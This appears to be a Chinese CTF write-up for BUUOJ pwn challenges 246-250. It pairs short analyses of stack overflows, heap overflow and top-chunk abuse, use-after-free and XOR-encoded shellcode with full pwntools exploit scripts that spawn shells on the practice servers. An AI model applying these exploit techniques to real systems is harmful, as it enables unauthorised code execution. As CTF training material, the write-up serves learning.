buuoj Pwn writeup 246-250
246 pwnable_echo1
结构简单。
功能1
就是个输入输出。但是显然有个栈溢出。
功能2功能3没有。
啥保护没有,就栈溢出就完了。可以直接rop,它开了NX。也可以shellcode。
写shellcode会有两种,一种是布置在栈上,然后在bss上通过jmp esp跳过去,一种是写在bss上,然后直接跳过去,根据可输入大小来自行调节。
exp
from pwn import *context(os='linux',arch='amd64',log_level='debug')id_addr=0x6020A0r= remote("node4.buuoj.cn", "28880")payload = "A" * (0x20+8) + p64(id_addr) +asm(shellcraft.sh())
r.recvuntil("hey, what's your name? : ")r.sendline(asm("jmp rsp"))
r.recvuntil("> ")
r.sendline("1")
r.recvline()
#gdb.attach(p)
r.sendline(payload)r.interactive()
247 actf_2019_actfnote
add
申请了一个0x18的chunk放各种信息,name会申请一个size大小的chunk,而content用的是strdup。
free
清理的也是较为干净的。
edit
content直接输入0x20个,前面用的是strdup,有溢出。
list
就是一顿输出。
因为有溢出,也不大,能把下个chunk的pre_size size覆盖掉。
因为没开pie,所以直接unlink就好了。当然off by one啥的都可以用。
瞅了瞅网上师傅们的wp,发现还有种解法。
可以直接修改top chunk的size,那么只需要把top chunk的size修改为-1,然后malloc一个负数,即可将TOP chunk向前移动与已有的chunk重叠,然后通过申请空间,控制该程序结构体的指针即可实现任意地址读写。
非常的神奇……
exp
#coding:utf8
from pwn import *context.log_level = "debug"r = remote('node4.buuoj.cn', 27461)libc = ELF('./64/libc-2.27.so')def add(size,name,content):r.sendlineafter('$','1')r.sendlineafter('size:',str(size))r.sendafter('name:',name)r.sendafter('content:',content)def edit(index,content):r.sendlineafter('$','2')r.sendlineafter('id:',str(index))r.sendafter('content:',content)def delete(index):r.sendlineafter('$','3')r.sendlineafter('id:',str(index))def show(index):r.sendlineafter('$','4')r.sendlineafter('id:',str(index))add(0x10,'a\n','b'*0x18) #0
add(0x10,'a\n','/bin/sh\x00') #1
show(0)
r.recvuntil('b'*0x18)libc_base = u64(r.recv(6).ljust(8,'\x00')) - 0x8e3f2
system_addr = libc_base + libc.sym['system']
free_hook_addr = libc_base + libc.sym['__free_hook']
print 'libc_base=',hex(libc_base)add(0x10,'a\n','b\n') #2
edit(2,'b'*0x10 + p64(0) + '\xff'*0x8)
add(-0x80,p64(free_hook_addr),'') #3
edit(2,p64(system_addr))
delete(1)r.interactive()
248 骇极杯_2018_babyarm
main函数在这里。
首先调用了0x400760
就是set buf。
接着输出了个name,然后能读。读0x200,可以读到bss上。
再进入另外一个函数。
又可以读0x200,这次读在栈里面,显然有个栈溢出。
没有啥libc啥的,但是发现有个mprotect。
所以就像x86一样,返回mprotect改权限然后执行shellcode。
exp
from pwn import*elf = ELF('./pwn')
context(arch='aarch64',log_level='debug')
r = remote('node4.buuoj.cn',29842)shellcode_addr = 0x411068
mprotect = 0x4007e0gadget1 = 0x4008cc
gadget2 = 0x04008acshellcode = p64(mprotect)+p64(0)+asm(shellcraft.sh())
r.recvuntil('Name:')
r.sendline(shellcode)
sleep(0.1)payload = 'a'*0x48+p64(gadget1)+p64(0)+p64(gadget2)
payload += p64(0)*2+p64(shellcode_addr)+p64(0x7)+p64(0x1000)+p64(0x411000)
payload += p64(0)+p64(shellcode_addr+0x10)r.sendline(payload)
r.interactive()
249 metasequoia_2020_samsara
free的地方有uaf,可以做double。
在栈上伪造一个chunk,然后改值就好了。
exp
from pwn import *r = remote("node4.buuoj.cn",26172)def add():r.sendlineafter(">","1")def delete(index):r.sendlineafter(">","2")r.sendlineafter(":\n",index)def edit(index,content):r.sendlineafter(">","3")r.sendlineafter(":\n",index)r.sendlineafter(":\n",content)def edit_lair(value):r.sendlineafter(">","5")r.sendlineafter("?\n",value)add()
add()
add() delete("0")
delete("1")
delete("0")add() #chunk 3
edit_lair(str(0x20)) edit("3",str(show()-0x8))
add()
add()
add() edit("6",str(3735928559))r.sendline("6")r.interactive()
250 tiny_backdoor_v1_hackover_2016
保护一点没有。
程序很小,一点一点分析。
首先调用0x4000e1这个函数。
能往bss读九个字节。
又调用了0x4000f9。
有个小算法。
a1是一堆数字的数组,a2是一共多少数字,一共72.
a1中的值^=你输入的九个中的值。
最后调用a1.
所以逻辑就是你输入个啥,然后让他们一顿循环,最后把a1变成shellcode。
但是说实话,咋就能倒回来,这我真不知道……
好不容易找了个exp学习学习,他也说不知道……
这玩意只能是写个算法慢慢猜吧…
猜猜是不是syscall的
猜猜是不是orw的
orw还得猜猜读取的大小,读取的位置,哎呀。
exp
from pwn import *
context.log_level='debug'
context.arch = "amd64"r = remote("node4.buuoj.cn",25368)key = '\xe6\xd9\xf6\x38\x2a\x02\xfd\x3a\xc3'
r.send(key)
r.interactive()
buuoj Pwn writeup 246-250相关推荐
- buuoj Pwn writeup 166-170
166 picoctf_2018_echo back 因为只有一次printf的机会,RELRO半开,不能覆盖fini,我们可以把puts改成vuln来制造循环,再次把printf改成system,来 ...
- buuoj Pwn writeup 106-110
106 zctf2016_note2 保护 菜单堆. new 最多申请4个. 然后里面有个神奇的函数 会把里面的%剔除掉. 申请的chunk最大也只能是fastbin范围的chunk. ptr地方是指 ...
- buuoj Pwn writeup 186-190
186 hwb_2019_mergeheap 最多15个chunk. show 正常输出. free free把程序保护的很好. merge 这个里面会有漏洞,因为strcpy,strcat都是以'\ ...
- buuoj Pwn writeup 206-210
206 ciscn_2019_c_3 一堆乱七八糟. create 申请空间只有三种,申请到的空间第一个字节为0,应该是个flag,第二个是一个随机数,然后开始输入name,也就是内容. 跟进read ...
- [BUGKU][CTF][PWN][2020] PWN writeup
准备UBUNTU pwndbg pwntools PWN1 关键字:nc 知识点:nc使用方法 https://www.cnblogs.com/nmap/p/6148306.html nc命令是一个功 ...
- ISCC 2018 PWN WriteUp
1.Login [分值:200]--年轻人的第一道PWN 漏洞位置: 漏洞见上图,BUF大小0x40 读取时读了0x280字节,这样可覆盖掉Menu函数的返回值. 此函数中存在一个可能执行system ...
- BUUCTF-PWN rctf_2019_babyheap(house of storm,堆SROP)
目录 题目分析 漏洞利用 Exp 题目分析 程序还有沙箱保护,把execve禁用了,只能orw了 在init中还把fastbin关了 在edit中有一个off-by-null溢出,以前这种情况都是用u ...
- 如何使用 Python 隐藏图像中的数据
作者 | 小白 来源 | 小白学视觉 隐写术是在任何文件中隐藏秘密数据的艺术. 秘密数据可以是任何格式的数据,如文本甚至文件.简而言之,隐写术的主要目的是隐藏任何文件(通常是图像.音频或视频)中的预期 ...
- 【Linux网络编程笔记】TCP短连接产生大量TIME_WAIT导致无法对外建立新TCP连接的原因及解决方法—实践篇
1. 查看系统网络配置和当前TCP状态 在定位并处理应用程序出现的网络问题时,了解系统默认网络配置是非常必要的.以x86_64平台Linux kernelversion 2.6.9的机 ...
最新文章
- 某程序员发现新来女同事简历造假!原来是培训机构出身!纠结怎么处理,网友评论亮了!...
- WCF分布式开发步步为赢(12):WCF事务机制(Transaction)和分布式事务编程
- 【Linux开发】V4L2应用程序框架
- Android利用android:indeterminateDrawable来实现ProgressBar三种方式
- 结对编程前对队友程序的分析与对比总结
- BugKuCTF WEB web5
- Codeforces 85D Sum of Medians
- 浮小麦升浮之气的本质
- powerdesigner总结
- 用cxf编写基于spring的webservice之上篇
- GitHub上常用命令(工作中几乎每天用到的命令)
- androidx中app.startup组件官方指南
- Java实现消息队列服务
- No module named ‘frontend‘
- Machine learning techniques to enable closed-loop control in anesthesia-笔记
- Discuz论坛下载与安装
- 浅谈LOG日志的写法
- C语言之数组按协议存储与按协议解析
- Java CountDownLatch应用
- Brainstorm + Fieldtrip IEEG定位及分区教程
热门文章
- mysql和linux的题目_最强Linux和Mysql面试题套餐,让你的面试无懈可击!
- 使用计算机编辑文档的同时,小学信息技术2-2-用计算机编辑文档(北京版).doc
- windows通过注册表修改3389端口号
- 数据结构——实现双栈操作
- unity 2d文字跟随主角移动_使用 Unity 粒子系统实现 2D 人物足迹效果
- android修改重力感应方向
- 数据优化 | CnOpenData国家基金项目数据
- Win10玩dnf输入法图标消失怎么办?
- easyui中在datagrid中右键出现菜单
- 2019GPLT L2-032 彩虹瓶 (25 分)